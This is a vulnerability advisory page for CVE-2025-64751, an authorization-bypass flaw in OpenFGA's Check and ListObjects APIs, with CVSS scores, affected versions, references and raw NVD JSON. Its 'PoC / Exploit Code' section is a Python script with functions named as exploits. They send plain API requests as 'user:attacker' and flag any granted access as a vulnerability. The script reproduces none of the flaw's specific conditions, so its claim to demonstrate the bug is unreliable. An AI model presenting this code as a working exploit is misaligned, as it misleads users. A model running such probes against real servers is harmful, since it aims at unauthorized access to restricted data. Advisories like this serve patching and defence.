Security Vulnerability Report
中文
CVE-2025-64751 CVSS 8.8 HIGH

CVE-2025-64751

Published: 2025-11-21 02:15:44
Last Modified: 2025-12-31 13:43:35

Description

OpenFGA is a high-performance and flexible authorization/permission engine built for developers and inspired by Google Zanzibar. OpenFGA v1.4.0 to v1.11.0 ( openfga-0.1.34 <= Helm chart <= openfga-0.2.48, v.1.4.0 <= docker <= v.1.11.0) are vulnerable to improper policy enforcement when certain Check and ListObject calls are executed. This issue has been patched in version 1.11.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openfga:helm_charts:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openfga:openfga:*:*:*:*:*:*:*:* - VULNERABLE
OpenFGA v1.4.0 至 v1.11.0
OpenFGA Helm Chart openfga-0.1.34 至 openfga-0.2.48
OpenFGA Docker v1.4.0 至 v1.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64751 PoC - OpenFGA Improper Policy Enforcement # This PoC demonstrates the vulnerability in Check and ListObject API import requests import json OPENFGA_URL = "http://target-openfga-server:8080" STORE_ID = "your-store-id" MODEL_ID = "your-model-id" AUTH_TOKEN = "your-auth-token" def exploit_check_api(): """Exploit the Check API to bypass authorization""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious request targeting vulnerable Check endpoint payload = { "store_id": STORE_ID, "model_id": MODEL_ID, "type": "document", "relation": "viewer", "user": "user:attacker", "object": "document:secret-document" } try: response = requests.post( f"{OPENFGA_URL}/stores/{STORE_ID}/check", headers=headers, json=payload, timeout=10 ) result = response.json() print(f"Check API Response: {json.dumps(result, indent=2)}") # Vulnerable behavior: allowed=true when it should be false if result.get("allowed"): print("[+] VULNERABLE: Unauthorized access granted!") return True except Exception as e: print(f"[-] Error: {e}") return False def exploit_list_objects_api(): """Exploit the ListObjects API to enumerate restricted resources""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } payload = { "store_id": STORE_ID, "model_id": MODEL_ID, "type": "document", "relation": "viewer", "user": "user:attacker" } try: response = requests.post( f"{OPENFGA_URL}/stores/{STORE_ID}/list-objects", headers=headers, json=payload, timeout=10 ) result = response.json() print(f"ListObjects API Response: {json.dumps(result, indent=2)}") # Vulnerable behavior: returns objects user shouldn't access if "objects" in result and len(result["objects"]) > 0: print(f"[+] VULNERABLE: Retrieved {len(result['objects'])} unauthorized objects") return result["objects"] except Exception as e: print(f"[-] Error: {e}") return [] if __name__ == "__main__": print("="*60) print("CVE-2025-64751 OpenFGA PoC") print("="*60) print("\n[*] Testing Check API...") exploit_check_api() print("\n[*] Testing ListObjects API...") exploit_list_objects_api()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64751", "sourceIdentifier": "[email protected]", "published": "2025-11-21T02:15:43.747", "lastModified": "2025-12-31T13:43:35.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenFGA is a high-performance and flexible authorization/permission engine built for developers and inspired by Google Zanzibar. OpenFGA v1.4.0 to v1.11.0 ( openfga-0.1.34 <= Helm chart <= openfga-0.2.48, v.1.4.0 <= docker <= v.1.11.0) are vulnerable to improper policy enforcement when certain Check and ListObject calls are executed. This issue has been patched in version 1.11.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openfga:helm_charts:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.1.34", "versionEndExcluding": "0.2.49", "matchCriteriaId": "8E15DB5A-6B2B-4FE7-93F5-80ADDC5EB332"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openfga:openfga:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.11.1", "matchCriteriaId": "470C6066-5D4D-4BD5-9130-D535835E6CE0"}]}]}], "references": [{"url": "https://github.com/openfga/openfga/releases/tag/v1.11.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/openfga/openfga/security/advisories/GHSA-2c64-vmv2-hgfc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}